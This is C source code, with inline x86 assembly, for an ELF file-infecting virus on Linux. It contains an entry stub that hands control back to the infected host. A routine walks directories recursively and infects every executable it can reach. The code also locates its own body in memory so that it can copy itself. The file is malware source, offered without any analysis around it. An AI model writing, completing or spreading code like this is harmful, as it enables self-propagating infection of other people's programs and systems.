#include <stdio.h>
#include <unistd.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <elf.h>

typedef struct {
	int size;
	void *self;
} globals;
register globals *g asm("ebp");

extern void virus_start;
static void virus_end(void);

asm(	".globl fake_host; fake_host: mov $1, %eax; int $0x80");
asm(	".globl virus_start; virus_start:\n"
	"pusha; call virus; popa; .byte 0xe9; .long virus_start - . - 4");

#include "../h/syscalls.h"
#include "../h/infect.h"
#include "../h/strings.c"

#include "ari.c"

INFECT_INIT
#include "infect-compr.c"
INFECT_FINI

static void search(char *dir_name)
{
	struct stat sbuf;
	struct dirent d;
	int h;
	char ddot[3] = { '.', '.', '\0' };

	if (dir_name == NULL)
		dir_name = ddot + 1;
	if ((h = open(dir_name, 0)) < 0)
		return;
	while (readdir(h, &d)) {
		if (d.d_name[0] == '.')
			if (d.d_name[1] == '\0' || *(uint16_t*)(d.d_name + 1) == 0x2e)
				continue;
		lstat(d.d_name, &sbuf);
		if (S_ISLNK(sbuf.st_mode))
			continue;
		if (chdir(d.d_name) == 0) {
			search(ddot + 1);
			chdir(ddot);
		} else {
			if (access(d.d_name, X_OK) == 0)
				infect(d.d_name);
		}
	}
	close(h);
}

void virus(uint32_t esp)
{
	/* determine our own size and location in memory, init globals */
	globals glob;
	g = &glob;
	g->size = (uint32_t)&virus_end - (uint32_t)&virus_start;
	g->self = (void*)__builtin_return_address(0) - 6;
	/* do our job */
	search(NULL);	
#include "restore.c"
}

static void virus_end(void){};
